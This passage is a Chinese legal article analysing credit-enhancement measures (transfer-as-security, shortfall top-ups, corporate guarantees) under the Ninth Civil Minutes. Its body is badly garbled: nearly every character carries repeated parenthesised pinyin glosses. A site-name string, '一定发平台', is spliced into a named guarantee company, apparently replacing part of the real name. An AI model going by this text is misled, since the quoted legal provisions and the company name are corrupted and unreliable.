一定发平台

《九民纪要》后再看增信措施

发布时间:2020-05-31 点击量:188 作者:法务合规部——吕寒

增信措施,简单讲即信用增进方式,由债务人或第三人向债权人提供,给予债权人额外的保障,降低违约风险,在现代信贷业务中几乎成了交易结构中的常态性安排。增信措施的实现,鲜少有提供者自愿履约,大都需要经过国家有权机关(司法机关、仲裁机关)裁决。这些裁决,能够对当初选择、审查的增信措施进行检验,又反过来对其形成一定的经验指导。

2019年11月14日,最高院发布《全国法院民商(shang)事审(shen)(shen)判工作会议(yi)(yi)纪(ji)(ji)要》(以下简称《九(jiu)民纪(ji)(ji)要》),对(dui)公司(si)、合同、担保(bao)、金融、破产等(deng)民商(shang)事案件审(shen)(shen)理(li)中存(cun)在(zai)前沿、疑难争议(yi)(yi)问题进行(xing)了裁判思路(lu)的统一(yi),特别是使得有(you)(you)法官自由裁量(liang)空间的那些(xie)审(shen)(shen)判具(ju)有(you)(you)可预期性(xing)。鉴于此,本文旨在(zai)同大家分享《九(jiu)民纪(ji)(ji)要》中几点增信措施(shi)的内(nei)容,以期为(wei)选(xuan)择、审(shen)(shen)查增信措施(shi)提(ti)供一(yi)定的参考之用(yong)。


一、让与(yu)担保或成为增信措(cuo)施较优(you)之选

【纪要内容】

《九民(min)纪要(yao)》第71条(tiao)【让(rang)与担保】

债(zhai)(zhai)(zhai)务(wu)(wu)(wu)人(ren)(ren)(ren)(ren)或(huo)者(zhe)第(di)三人(ren)(ren)(ren)(ren)与债(zhai)(zhai)(zhai)权人(ren)(ren)(ren)(ren)订立合(he)同,约定(ding)将(jiang)财产形(xing)式(shi)上转让至(zhi)债(zhai)(zhai)(zhai)权人(ren)(ren)(ren)(ren)名下,债(zhai)(zhai)(zhai)务(wu)(wu)(wu)人(ren)(ren)(ren)(ren)到(dao)期(qi)清偿债(zhai)(zhai)(zhai)务(wu)(wu)(wu),债(zhai)(zhai)(zhai)权人(ren)(ren)(ren)(ren)将(jiang)该(gai)财产返还(hai)给债(zhai)(zhai)(zhai)务(wu)(wu)(wu)人(ren)(ren)(ren)(ren)或(huo)第(di)三人(ren)(ren)(ren)(ren),债(zhai)(zhai)(zhai)务(wu)(wu)(wu)人(ren)(ren)(ren)(ren)到(dao)期(qi)没有(you)(you)清偿债(zhai)(zhai)(zhai)务(wu)(wu)(wu),债(zhai)(zhai)(zhai)权人(ren)(ren)(ren)(ren)可以(yi)对财产拍卖(mai)、变卖(mai)、折价偿还(hai)债(zhai)(zhai)(zhai)权的,人(ren)(ren)(ren)(ren)民法院应当(dang)认定(ding)合(he)同有(you)(you)效(xiao)。合(he)同如果约定(ding)债(zhai)(zhai)(zhai)务(wu)(wu)(wu)人(ren)(ren)(ren)(ren)到(dao)期(qi)没有(you)(you)清偿债(zhai)(zhai)(zhai)务(wu)(wu)(wu),财产归债(zhai)(zhai)(zhai)权人(ren)(ren)(ren)(ren)所有(you)(you)的,人(ren)(ren)(ren)(ren)民法院应当(dang)认定(ding)该(gai)部(bu)分(fen)约定(ding)无(wu)效(xiao),但不影响合(he)同其他部(bu)分(fen)的效(xiao)力。

当(dang)事(shi)人(ren)(ren)(ren)根据上述合同(tong)约(yue)定,已(yi)经完成财产权(quan)(quan)利变动(dong)的(de)公(gong)示方式转让至债(zhai)(zhai)(zhai)权(quan)(quan)人(ren)(ren)(ren)名下(xia)(xia),债(zhai)(zhai)(zhai)务人(ren)(ren)(ren)到期(qi)没有清偿(chang)债(zhai)(zhai)(zhai)务,债(zhai)(zhai)(zhai)权(quan)(quan)人(ren)(ren)(ren)请(qing)求(qiu)(qiu)确认财产归其所(suo)(suo)有的(de),人(ren)(ren)(ren)民(min)法(fa)(fa)院(yuan)不予(yu)支(zhi)持(chi),但债(zhai)(zhai)(zhai)权(quan)(quan)人(ren)(ren)(ren)请(qing)求(qiu)(qiu)参照法(fa)(fa)律(lv)关于担保物(wu)权(quan)(quan)的(de)规定对(dui)财产拍卖、变卖、折价(jia)优先偿(chang)还其债(zhai)(zhai)(zhai)权(quan)(quan)的(de),人(ren)(ren)(ren)民(min)法(fa)(fa)院(yuan)依(yi)法(fa)(fa)予(yu)以支(zhi)持(chi)。债(zhai)(zhai)(zhai)务人(ren)(ren)(ren)因到期(qi)没有清偿(chang)债(zhai)(zhai)(zhai)务,请(qing)求(qiu)(qiu)对(dui)该(gai)财产拍卖、变卖、折价(jia)偿(chang)还所(suo)(suo)欠债(zhai)(zhai)(zhai)权(quan)(quan)人(ren)(ren)(ren)合同(tong)项(xiang)下(xia)(xia)债(zhai)(zhai)(zhai)务的(de),人(ren)(ren)(ren)民(min)法(fa)(fa)院(yuan)亦应(ying)依(yi)法(fa)(fa)予(yu)以支(zhi)持(chi)。

【分析(xi)解(jie)读(du)】

让与(yu)担(dan)保,是指债(zhai)务人(ren)或者第三人(ren)为担(dan)保债(zhai)务人(ren)的(de)债(zhai)务,将担(dan)保标的(de)物的(de)权(quan)利转移于债(zhai)权(quan)人(ren),若债(zhai)务清偿,标的(de)物应(ying)返还(hai)于债(zhai)务人(ren)或者第三人(ren);若债(zhai)务未履行,担(dan)保权(quan)人(ren)可就该(gai)标的(de)物受偿的(de)一种(zhong)非典型担(dan)保方(fang)式。

由于让(rang)与(yu)担保(bao)(bao)是由当事人(ren)通过合(he)同(tong)创设的(de)担保(bao)(bao)物(wu)权(quan),法(fa)(fa)律对(dui)(dui)其没有明确的(de)规定,各法(fa)(fa)院对(dui)(dui)让(rang)与(yu)担保(bao)(bao)案件的(de)裁判(pan)意见并不统(tong)一,争论焦点集中(zhong)围绕在让(rang)与(yu)担保(bao)(bao)是否具有物(wu)权(quan)效力(li)之上,直至最(zui)高院审理的(de)(2018)最(zui)高法(fa)(fa)民(min)终(zhong)119号、(2019)最(zui)高法(fa)(fa)民(min)终(zhong)133号案件的(de)出(chu)(chu)现(xian),倾向于认(ren)可让(rang)与(yu)担保(bao)(bao)物(wu)权(quan)效力(li)的(de)裁判(pan)思路逐(zhu)渐(jian)显现(xian)。最(zui)终(zhong)《九民(min)纪要》的(de)出(chu)(chu)台,明确了法(fa)(fa)院认(ren)可的(de)让(rang)与(yu)担保(bao)(bao)的(de)特征(zheng),在肯定让(rang)与(yu)担保(bao)(bao)合(he)同(tong)效力(li)的(de)同(tong)时,进一步肯定让(rang)与(yu)担保(bao)(bao)可以优先受偿,这也使得让(rang)与(yu)担保(bao)(bao)的(de)适用范围呈逐(zhu)步扩(kuo)大(da)之势(shi)。

结合(he)《九(jiu)民纪要》的规(gui)定,在选择让与担保这一增信(xin)措施时需从(cong)以下(xia)几个方面把(ba)握:

1、对于(yu)仅有合同(tong)(tong)(tong)的(de)约定,并无(wu)实际的(de)财(cai)(cai)产(chan)转(zhuan)让行为,即《九(jiu)民纪(ji)要》第71条第1款,法(fa)院认(ren)可(ke)合同(tong)(tong)(tong)有效,若债(zhai)(zhai)务人(ren)到(dao)期(qi)没有清偿(chang)债(zhai)(zhai)务,债(zhai)(zhai)权(quan)人(ren)可(ke)以对财(cai)(cai)产(chan)拍(pai)卖(mai)、变卖(mai)、折(zhe)价(jia)(jia)偿(chang)还债(zhai)(zhai)权(quan),但此条并没有规定债(zhai)(zhai)权(quan)人(ren)可(ke)以就财(cai)(cai)产(chan)拍(pai)卖(mai)、变卖(mai)、折(zhe)价(jia)(jia)优先受偿(chang),此时(shi)的(de)债(zhai)(zhai)权(quan)人(ren)同(tong)(tong)(tong)其他一般债(zhai)(zhai)权(quan)人(ren)并无(wu)差别(bie),对债(zhai)(zhai)权(quan)的(de)实现处于(yu)同(tong)(tong)(tong)一顺位;

2、对(dui)于已(yi)经(jing)将财产实际转让(rang)于债(zhai)权(quan)(quan)人名下的(de)(de)让(rang)与担(dan)(dan)保(bao)(bao),即第71条第2款,债(zhai)务(wu)人到期(qi)没有清偿(chang)(chang)债(zhai)务(wu),债(zhai)权(quan)(quan)人请求参照法(fa)(fa)律关(guan)于担(dan)(dan)保(bao)(bao)物权(quan)(quan)的(de)(de)规定对(dui)财产拍卖(mai)、变卖(mai)、折价优(you)先(xian)偿(chang)(chang)还(hai)其债(zhai)权(quan)(quan)的(de)(de),人民法(fa)(fa)院(yuan)依法(fa)(fa)予以(yi)支持。法(fa)(fa)定担(dan)(dan)保(bao)(bao)物权(quan)(quan)(如抵押(ya)权(quan)(quan))的(de)(de)效(xiao)力,简单而(er)(er)言,因登记(ji)而(er)(er)公(gong)示,对(dui)抗第三(san)人,从而(er)(er)享有优(you)先(xian)受偿(chang)(chang)权(quan)(quan)。让(rang)与担(dan)(dan)保(bao)(bao)关(guan)系中(zhong)的(de)(de)财产所(suo)有权(quan)(quan)已(yi)通(tong)过公(gong)示方(fang)式转让(rang)至债(zhai)权(quan)(quan)人名下,即外观(guan)上(shang)已(yi)经(jing)具备对(dui)抗第三(san)人的(de)(de)物权(quan)(quan)效(xiao)力,故人民法(fa)(fa)院(yuan)认(ren)可债(zhai)权(quan)(quan)人可以(yi)就担(dan)(dan)保(bao)(bao)物优(you)先(xian)受偿(chang)(chang)。此(ci)情形(xing)下,债(zhai)权(quan)(quan)人对(dui)担(dan)(dan)保(bao)(bao)物享有的(de)(de)并(bing)不(bu)是(shi)物权(quan)(quan),而(er)(er)是(shi)对(dui)担(dan)(dan)保(bao)(bao)物依法(fa)(fa)处置(zhi)所(suo)得的(de)(de)优(you)先(xian)受偿(chang)(chang)权(quan)(quan)。

3、无论有(you)(you)无实际财(cai)产转让(rang)行为,若债(zhai)(zhai)(zhai)(zhai)务(wu)(wu)人(ren)到期(qi)没有(you)(you)清偿债(zhai)(zhai)(zhai)(zhai)务(wu)(wu),法(fa)(fa)院对(dui)债(zhai)(zhai)(zhai)(zhai)权(quan)人(ren)请求财(cai)产直接(jie)归其所(suo)有(you)(you)的(de)(de)诉求都不会予以支持。这里(li)可(ke)以参照“流(liu)质(zhi)、流(liu)押(ya)(ya)”条款规定理解,物权(quan)法(fa)(fa)第186、211条禁(jin)止抵押(ya)(ya)权(quan)人(ren)、质(zhi)权(quan)人(ren)在债(zhai)(zhai)(zhai)(zhai)务(wu)(wu)履(lv)行期(qi)限届满(man)前与(yu)抵押(ya)(ya)人(ren)约定债(zhai)(zhai)(zhai)(zhai)务(wu)(wu)人(ren)不履(lv)行债(zhai)(zhai)(zhai)(zhai)务(wu)(wu)时抵押(ya)(ya)财(cai)产、质(zhi)押(ya)(ya)财(cai)产归债(zhai)(zhai)(zhai)(zhai)权(quan)人(ren)所(suo)有(you)(you)。法(fa)(fa)律禁(jin)止“流(liu)押(ya)(ya)、流(liu)质(zhi)”的(de)(de)目的(de)(de)是为了保(bao)护债(zhai)(zhai)(zhai)(zhai)务(wu)(wu)人(ren),避(bi)免(mian)其因(yin)一时的(de)(de)急迫而受制于债(zhai)(zhai)(zhai)(zhai)权(quan)人(ren),担保(bao)物价值不能公(gong)允体现。

综上,不考虑其(qi)他因素,就保障(zhang)力度而言(yan),较(jiao)之(zhi)以(yi)前的“王者”-抵(di)押,《九民纪要》认可的让(rang)与担(dan)保方式或成为债权人较(jiao)优之(zhi)选,毕竟财(cai)产已(yi)登记在自己名下(xia),没有比(bi)这还能让(rang)人安心的了(le)。


二、差额补(bu)足或认定为(wei)保证

【纪(ji)要内(nei)容】

《九民纪要》第91条【增信文件的性质】

信托合(he)同之(zhi)(zhi)外(wai)的(de)当事(shi)人提供第三方(fang)差额补足、代为(wei)(wei)履行到期回(hui)购义(yi)务、流动性(xing)支(zhi)持等类似承(cheng)诺(nuo)文件(jian)作为(wei)(wei)增信措(cuo)施,其内容(rong)符(fu)合(he)法(fa)律关(guan)于保(bao)证的(de)规定的(de),人民(min)(min)法(fa)院应当认(ren)定当事(shi)人之(zhi)(zhi)间(jian)成立保(bao)证合(he)同关(guan)系。其内容(rong)不(bu)符(fu)合(he)法(fa)律关(guan)于保(bao)证的(de)规定的(de),依据承(cheng)诺(nuo)文件(jian)的(de)具体内容(rong)确(que)定相应的(de)权(quan)利(li)义(yi)务关(guan)系,并根据案(an)件(jian)事(shi)实情况确(que)定相应的(de)民(min)(min)事(shi)责(ze)任。

第90条【劣后级受益人的责任承担】

信(xin)托文(wen)件(jian)及相关(guan)合同将受(shou)(shou)(shou)益(yi)人(ren)(ren)区(qu)分为优先(xian)(xian)级(ji)受(shou)(shou)(shou)益(yi)人(ren)(ren)和(he)劣后(hou)(hou)级(ji)受(shou)(shou)(shou)益(yi)人(ren)(ren)等(deng)不(bu)同类(lei)别,约(yue)定(ding)优先(xian)(xian)级(ji)受(shou)(shou)(shou)益(yi)人(ren)(ren)以(yi)其(qi)财产认购信(xin)托计划份额(e),在信(xin)托到期后(hou)(hou),劣后(hou)(hou)级(ji)受(shou)(shou)(shou)益(yi)人(ren)(ren)负(fu)有对(dui)优先(xian)(xian)级(ji)受(shou)(shou)(shou)益(yi)人(ren)(ren)从信(xin)托财产获得利益(yi)与其(qi)投资本金及约(yue)定(ding)收(shou)益(yi)之间的差额(e)承担补足义务,优先(xian)(xian)级(ji)受(shou)(shou)(shou)益(yi)人(ren)(ren)请求劣后(hou)(hou)级(ji)受(shou)(shou)(shou)益(yi)人(ren)(ren)按照约(yue)定(ding)承担责任的,人(ren)(ren)民(min)法院依法予以(yi)支持。

 【分析解读】

《九民纪(ji)要》第91条(tiao)中(zhong)的(de)(de)差额补(bu)(bu)足、代(dai)为履行到期回购(gou)义务(wu)、流动性(xing)支持等(deng)增(zeng)(zeng)信措(cuo)施(shi)(shi),都属于非典型担(dan)保,作为传统担(dan)保措(cuo)施(shi)(shi)的(de)(de)补(bu)(bu)充,应(ying)(ying)用(yong)于各种金融交易(yi)结构(gou)。根据该条(tiao)的(de)(de)规定,无论这些增(zeng)(zeng)信措(cuo)施(shi)(shi)称之(zhi)为什么,如果内容(rong)符(fu)合(he)法律关于保证(zheng)的(de)(de)规定,都会(hui)认(ren)(ren)定为保证(zheng),反之(zhi),则承认(ren)(ren)其独立性(xing),义务(wu)人(ren)根据实际承诺的(de)(de)内容(rong)承担(dan)相应(ying)(ying)责任。那么,在选择(ze)适(shi)用(yong)这些增(zeng)(zeng)信措(cuo)施(shi)(shi)时应(ying)(ying)注(zhu)意(yi)将其与保证(zheng)进(jin)行区(qu)分。

还是从法(fa)律本身出发,《担保(bao)法(fa)》第6条(tiao)规定(ding)“保(bao)证,是指保(bao)证人(ren)(ren)和债(zhai)权(quan)人(ren)(ren)约(yue)定(ding),当(dang)债(zhai)务(wu)(wu)(wu)人(ren)(ren)不履(lv)行(xing)债(zhai)务(wu)(wu)(wu)时,保(bao)证人(ren)(ren)按照约(yue)定(ding)履(lv)行(xing)债(zhai)务(wu)(wu)(wu)或者承(cheng)担责任(ren)的(de)(de)行(xing)为(wei)(wei)。“保(bao)证具(ju)有从属性,保(bao)证的(de)(de)前提是存在主(zhu)债(zhai)权(quan)债(zhai)务(wu)(wu)(wu)关(guan)系,债(zhai)务(wu)(wu)(wu)人(ren)(ren)对债(zhai)权(quan)人(ren)(ren)有明确的(de)(de)支付(fu)义(yi)务(wu)(wu)(wu),所以(yi),“独(du)立(li)承(cheng)诺(nuo)”的(de)(de)内容(rong)若符合法(fa)律关(guan)于(yu)保(bao)证的(de)(de)规定(ding),是为(wei)(wei)具(ju)有确定(ding)支付(fu)义(yi)务(wu)(wu)(wu)的(de)(de)主(zhu)债(zhai)权(quan)提供增(zeng)信(xin),那这(zhei)种“独(du)立(li)承(cheng)诺(nuo)”实际(ji)上即为(wei)(wei)保(bao)证。

以(yi)(yi)项目收(shou)益(yi)债(zhai)(zhai)(zhai)为例(li),项目收(shou)益(yi)债(zhai)(zhai)(zhai),是以(yi)(yi)项目建成后运营收(shou)益(yi)作(zuo)为主要(yao)偿(chang)债(zhai)(zhai)(zhai)来源的(de)(de)一种(zhong)企业债(zhai)(zhai)(zhai)券(quan)(quan)(quan),该类债(zhai)(zhai)(zhai)券(quan)(quan)(quan)的(de)(de)创新性(xing)在于将差(cha)额(e)(e)补偿(chang)作(zuo)为债(zhai)(zhai)(zhai)券(quan)(quan)(quan)必备的(de)(de)增信措施。具体看“16宁棚改项目债(zhai)(zhai)(zhai)01”,由湖北省融资(zi)一定发平台有(you)限责任公(gong)司(si)和重庆进出(chu)口(kou)信用担保有(you)限公(gong)司(si)联合提(ti)供(gong)差(cha)额(e)(e)补偿(chang),各自同意承(cheng)担该债(zhai)(zhai)(zhai)券(quan)(quan)(quan)差(cha)额(e)(e)补偿(chang)人50%的(de)(de)比例(li),即债(zhai)(zhai)(zhai)券(quan)(quan)(quan)存续期(qi)(qi)内每(mei)期(qi)(qi)债(zhai)(zhai)(zhai)券(quan)(quan)(quan)偿(chang)债(zhai)(zhai)(zhai)资(zi)金专户内余(yu)额(e)(e)不(bu)足以(yi)(yi)支付(fu)本(ben)期(qi)(qi)债(zhai)(zhai)(zhai)券(quan)(quan)(quan)当期(qi)(qi)本(ben)息时,差(cha)额(e)(e)补偿(chang)人保证无条(tiao)件按偿(chang)债(zhai)(zhai)(zhai)资(zi)金专户余(yu)额(e)(e)与每(mei)期(qi)(qi)应付(fu)本(ben)期(qi)(qi)债(zhai)(zhai)(zhai)券(quan)(quan)(quan)本(ben)息差(cha)额(e)(e)部分的(de)(de)50%承(cheng)担差(cha)额(e)(e)补偿(chang)责任。

对照(zhao)法律有(you)关保证的(de)规定(ding),项目收益债(zhai)(zhai)中的(de)债(zhai)(zhai)券(quan)发行(xing)人为(wei)债(zhai)(zhai)务人,债(zhai)(zhai)券(quan)持有(you)者为(wei)债(zhai)(zhai)权人,发行(xing)人有(you)确定(ding)的(de)支(zhi)付(fu)义务,即按约(yue)定(ding)向(xiang)债(zhai)(zhai)券(quan)持有(you)人支(zhi)付(fu)债(zhai)(zhai)券(quan)本息,当发行(xing)人无法按时(shi)支(zhi)付(fu)债(zhai)(zhai)券(quan)本息,即债(zhai)(zhai)券(quan)偿(chang)债(zhai)(zhai)资金专户内(nei)余(yu)额不足以支(zhi)付(fu)本息时(shi),差(cha)额补偿(chang)人应(ying)(ying)承担(dan)相应(ying)(ying)责任(ren)。结合《九民(min)纪要》第91条(tiao)定(ding),这里的(de)差(cha)额补偿(chang)应(ying)(ying)被(bei)认定(ding)为(wei)保证,差(cha)额补偿(chang)责任(ren)实质上是对债(zhai)(zhai)权人承担(dan)债(zhai)(zhai)务到期后(hou)的(de)保证责任(ren)。

再(zai)以资(zi)产证(zheng)券化产品为例,比方以风景区的(de)(de)(de)(de)(de)(de)(de)门票收(shou)入为基(ji)础资(zi)产设计(ji)产品发行专(zhuan)项(xiang)计(ji)划,景区门票收(shou)入形成(cheng)的(de)(de)(de)(de)(de)(de)(de)现金流可(ke)多(duo)可(ke)少(shao),基(ji)础资(zi)产到底产生多(duo)少(shao)收(shou)费是(shi)不(bu)确定的(de)(de)(de)(de)(de)(de)(de),基(ji)础资(zi)产的(de)(de)(de)(de)(de)(de)(de)债(zhai)务人(ren)不(bu)存(cun)在确定的(de)(de)(de)(de)(de)(de)(de)支(zhi)付义务,甚至在此收(shou)费权(quan)项(xiang)目中不(bu)存(cun)在明(ming)确的(de)(de)(de)(de)(de)(de)(de)债(zhai)务人(ren)。如该(gai)(gai)景区门票收(shou)益(yi)权(quan)ABS中的(de)(de)(de)(de)(de)(de)(de)原始受(shou)益(yi)人(ren)预为该(gai)(gai)专(zhuan)项(xiang)计(ji)划的(de)(de)(de)(de)(de)(de)(de)回(hui)款提(ti)供(gong)(gong)增(zeng)(zeng)信(xin),也只(zhi)能是(shi)提(ti)供(gong)(gong)差(cha)额(e)(e)补(bu)偿,无法(fa)提(ti)供(gong)(gong)保(bao)证(zheng);这里的(de)(de)(de)(de)(de)(de)(de)差(cha)额(e)(e)补(bu)偿义务属于明(ming)确的(de)(de)(de)(de)(de)(de)(de)支(zhi)付义务,若还(hai)想为此专(zhuan)项(xiang)计(ji)划进一步(bu)提(ti)供(gong)(gong)增(zeng)(zeng)信(xin),可(ke)选择对原始权(quan)益(yi)人(ren)的(de)(de)(de)(de)(de)(de)(de)差(cha)额(e)(e)补(bu)偿义务提(ti)供(gong)(gong)连带(dai)责任(ren)保(bao)证(zheng)或其(qi)他(ta)增(zeng)(zeng)信(xin)措施(shi)。具体看“华侨城欢乐(le)谷ABS”,该(gai)(gai)专(zhuan)项(xiang)计(ji)划增(zeng)(zeng)信(xin)措施(shi)设计(ji)差(cha)额(e)(e)支(zhi)付承诺(nuo)(nuo)、保(bao)证(zheng)等,华侨城集(ji)团作为保(bao)证(zheng)人(ren),对原始权(quan)益(yi)人(ren)的(de)(de)(de)(de)(de)(de)(de)差(cha)额(e)(e)支(zhi)付承诺(nuo)(nuo)提(ti)供(gong)(gong)不(bu)可(ke)撤销(xiao)的(de)(de)(de)(de)(de)(de)(de)连带(dai)责任(ren)保(bao)证(zheng)担保(bao),而不(bu)能直接(jie)对此专(zhuan)项(xiang)计(ji)划提(ti)供(gong)(gong)保(bao)证(zheng)。

《九民纪要》第90条的(de)规定,同(tong)样反(fan)映(ying)出差额补(bu)足和(he)保(bao)证(zheng)的(de)认定思路。优先(xian)和(he)劣后(hou)(hou)是资(zi)(zi)产(chan)证(zheng)券(quan)化产(chan)品(pin)中常用的(de)内部增信方式,用结(jie)构化安排来增级。由(you)于禁止(zhi)刚性兑付,资(zi)(zi)产(chan)证(zheng)券(quan)化产(chan)品(pin)不会向优先(xian)级受益(yi)(yi)人(ren)(ren)分配固定收益(yi)(yi),因此优先(xian)级受益(yi)(yi)人(ren)(ren)的(de)权益(yi)(yi)可以由(you)劣后(hou)(hou)级受益(yi)(yi)人(ren)(ren)的(de)差额补(bu)足承诺来保(bao)障和(he)实(shi)现,而不能由(you)劣后(hou)(hou)受益(yi)(yi)人(ren)(ren)提供(gong)保(bao)证(zheng)。

综(zong)上所述,选择(ze)差额补足(zu)、代为(wei)履行到期回购(gou)义务等(deng)类似承诺文(wen)件(jian)作为(wei)增信措施,以回避(bi)保证,不(bu)管出于何种目的,亦(yi)不(bu)能仅凭改变字(zi)眼,仍需把(ba)握增信措施的实质。

 

三、对(dui)外(wai)担保(bao)必(bi)须审(shen)查内部决议,章程(cheng)或(huo)仍(reng)涉及实质审(shen)

【纪要内容】

《九民纪要》第17条(tiao)【违反《公司法》第16条(tiao)构成(cheng)越(yue)权代表】

为(wei)(wei)(wei)防止法定(ding)(ding)(ding)代(dai)(dai)表(biao)人随意代(dai)(dai)表(biao)公(gong)司(si)为(wei)(wei)(wei)他人提供担(dan)(dan)保给公(gong)司(si)造(zao)成(cheng)损(sun)失(shi),损(sun)害中小股(gu)东(dong)利(li)益,《公(gong)司(si)法》第(di)16条(tiao)(tiao)对(dui)法定(ding)(ding)(ding)代(dai)(dai)表(biao)人的(de)代(dai)(dai)表(biao)权(quan)进行了限制。根据该条(tiao)(tiao)规(gui)定(ding)(ding)(ding),担(dan)(dan)保行为(wei)(wei)(wei)不(bu)是法定(ding)(ding)(ding)代(dai)(dai)表(biao)人所能(neng)单独决定(ding)(ding)(ding)的(de)事项(xiang),而必须(xu)以公(gong)司(si)股(gu)东(dong)(大(da))会、董事会等公(gong)司(si)机(ji)关的(de)决议作(zuo)为(wei)(wei)(wei)授权(quan)的(de)基础(chu)和来源(yuan)。法定(ding)(ding)(ding)代(dai)(dai)表(biao)人未经(jing)授权(quan)擅自(zi)为(wei)(wei)(wei)他人提供担(dan)(dan)保的(de),构成(cheng)越权(quan)代(dai)(dai)表(biao),人民法院应当根据《合同(tong)(tong)法》第(di)50条(tiao)(tiao)关于法定(ding)(ding)(ding)代(dai)(dai)表(biao)人越权(quan)代(dai)(dai)表(biao)的(de)规(gui)定(ding)(ding)(ding),区分(fen)(fen)订立合同(tong)(tong)时债权(quan)人是否善意分(fen)(fen)别(bie)认定(ding)(ding)(ding)合同(tong)(tong)效力:债权(quan)人善意的(de),合同(tong)(tong)有效;反之,合同(tong)(tong)无效。

 【分(fen)析解读】

违反《公(gong)(gong)司(si)法(fa)》第(di)16条(tiao)(tiao),未经(jing)公(gong)(gong)司(si)内部(bu)决议对(dui)外提供的(de)(de)担(dan)(dan)保(bao)(bao)(bao)是(shi)否有(you)(you)效,司(si)法(fa)实践中意见(jian)不(bu)一,主要有(you)(you)以下几种观点:1.《公(gong)(gong)司(si)法(fa)》第(di)16条(tiao)(tiao)是(shi)公(gong)(gong)司(si)内部(bu)管理规(gui)(gui)(gui)范,债权(quan)人(ren)(ren)没有(you)(you)义(yi)务(wu)审查(cha)其内部(bu)决议,公(gong)(gong)司(si)应根(gen)据担(dan)(dan)保(bao)(bao)(bao)合(he)同承(cheng)担(dan)(dan)担(dan)(dan)保(bao)(bao)(bao)责(ze)任;2.《公(gong)(gong)司(si)法(fa)》第(di)16条(tiao)(tiao)是(shi)效力性强制(zhi)规(gui)(gui)(gui)定(ding)(ding),债权(quan)人(ren)(ren)有(you)(you)审查(cha)公(gong)(gong)司(si)内部(bu)决议的(de)(de)义(yi)务(wu),否则公(gong)(gong)司(si)不(bu)应承(cheng)担(dan)(dan)担(dan)(dan)保(bao)(bao)(bao)责(ze)任;3.《公(gong)(gong)司(si)法(fa)》第(di)16条(tiao)(tiao)只是(shi)管理性强制(zhi)规(gui)(gui)(gui)定(ding)(ding),违反该(gai)规(gui)(gui)(gui)定(ding)(ding)不(bu)影响担(dan)(dan)保(bao)(bao)(bao)合(he)同效力;4.法(fa)人(ren)(ren)是(shi)公(gong)(gong)司(si)的(de)(de)机关(guan),法(fa)人(ren)(ren)的(de)(de)意思对(dui)外代表公(gong)(gong)司(si)的(de)(de)意思,不(bu)能(neng)仅(jin)凭《公(gong)(gong)司(si)法(fa)》第(di)16条(tiao)(tiao),还需(xu)结合(he)《合(he)同法(fa)》的(de)(de)规(gui)(gui)(gui)定(ding)(ding)来认定(ding)(ding)。

《九(jiu)民纪(ji)要》的(de)出台(tai),终于结(jie)束了上述(shu)由来已久(jiu)的(de)争(zheng)论,明确规(gui)定公司对(dui)外(wai)担保必(bi)须(xu)有(you)其内部决(jue)议,要求债(zhai)权人在接受公司担保时(shi),应对(dui)公司对(dui)外(wai)担保的(de)内部决(jue)议进行审查。那么债(zhai)权人究竟须(xu)尽怎样的(de)审查义务呢?

 【纪要内容】

《九民纪(ji)要》第18条【善(shan)意(yi)的认定(ding)】

前条(tiao)所(suo)称的(de)善意(yi)(yi),是指债(zhai)权(quan)人(ren)不知道或者(zhe)不应(ying)(ying)当知道法(fa)(fa)(fa)定(ding)(ding)代(dai)(dai)表(biao)(biao)人(ren)超越(yue)权(quan)限订立担(dan)保(bao)(bao)合同(tong)(tong)。《公(gong)(gong)(gong)司法(fa)(fa)(fa)》第16条(tiao)对(dui)(dui)关(guan)联(lian)担(dan)保(bao)(bao)和非关(guan)联(lian)担(dan)保(bao)(bao)的(de)决(jue)(jue)(jue)(jue)议(yi)(yi)(yi)机关(guan)作(zuo)出(chu)(chu)了(le)(le)区别规(gui)定(ding)(ding),相(xiang)应(ying)(ying)地,在善意(yi)(yi)的(de)判断(duan)标准上也(ye)应(ying)(ying)当有所(suo)区别。一种(zhong)情(qing)形是,为(wei)(wei)公(gong)(gong)(gong)司股(gu)(gu)东(dong)(dong)(dong)或者(zhe)实际控(kong)制人(ren)提供关(guan)联(lian)担(dan)保(bao)(bao),《公(gong)(gong)(gong)司法(fa)(fa)(fa)》第16条(tiao)明(ming)确(que)规(gui)定(ding)(ding)必须由(you)(you)股(gu)(gu)东(dong)(dong)(dong)(大(da)(da))会(hui)(hui)(hui)决(jue)(jue)(jue)(jue)议(yi)(yi)(yi),未经股(gu)(gu)东(dong)(dong)(dong)(大(da)(da))会(hui)(hui)(hui)决(jue)(jue)(jue)(jue)议(yi)(yi)(yi),构(gou)成越(yue)权(quan)代(dai)(dai)表(biao)(biao)。在此情(qing)况(kuang)下(xia),债(zhai)权(quan)人(ren)主(zhu)张(zhang)担(dan)保(bao)(bao)合同(tong)(tong)有效,应(ying)(ying)当提供证(zheng)据证(zheng)明(ming)其(qi)在订立合同(tong)(tong)时(shi)对(dui)(dui)股(gu)(gu)东(dong)(dong)(dong)(大(da)(da))会(hui)(hui)(hui)决(jue)(jue)(jue)(jue)议(yi)(yi)(yi)进行了(le)(le)审查,决(jue)(jue)(jue)(jue)议(yi)(yi)(yi)的(de)表(biao)(biao)决(jue)(jue)(jue)(jue)程(cheng)序(xu)符合《公(gong)(gong)(gong)司法(fa)(fa)(fa)》第16条(tiao)的(de)规(gui)定(ding)(ding),即在排除被(bei)担(dan)保(bao)(bao)股(gu)(gu)东(dong)(dong)(dong)表(biao)(biao)决(jue)(jue)(jue)(jue)权(quan)的(de)情(qing)况(kuang)下(xia),该项(xiang)表(biao)(biao)决(jue)(jue)(jue)(jue)由(you)(you)出(chu)(chu)席会(hui)(hui)(hui)议(yi)(yi)(yi)的(de)其(qi)他股(gu)(gu)东(dong)(dong)(dong)所(suo)持表(biao)(biao)决(jue)(jue)(jue)(jue)权(quan)的(de)过半数通过,签(qian)(qian)字人(ren)员也(ye)符合公(gong)(gong)(gong)司章(zhang)(zhang)程(cheng)的(de)规(gui)定(ding)(ding)。另一种(zhong)情(qing)形是,公(gong)(gong)(gong)司为(wei)(wei)公(gong)(gong)(gong)司股(gu)(gu)东(dong)(dong)(dong)或者(zhe)实际控(kong)制人(ren)以外的(de)人(ren)提供非关(guan)联(lian)担(dan)保(bao)(bao),根(gen)据《公(gong)(gong)(gong)司法(fa)(fa)(fa)》第16条(tiao)的(de)规(gui)定(ding)(ding),此时(shi)由(you)(you)公(gong)(gong)(gong)司章(zhang)(zhang)程(cheng)规(gui)定(ding)(ding)是由(you)(you)董事会(hui)(hui)(hui)决(jue)(jue)(jue)(jue)议(yi)(yi)(yi)还是股(gu)(gu)东(dong)(dong)(dong)(大(da)(da))会(hui)(hui)(hui)决(jue)(jue)(ju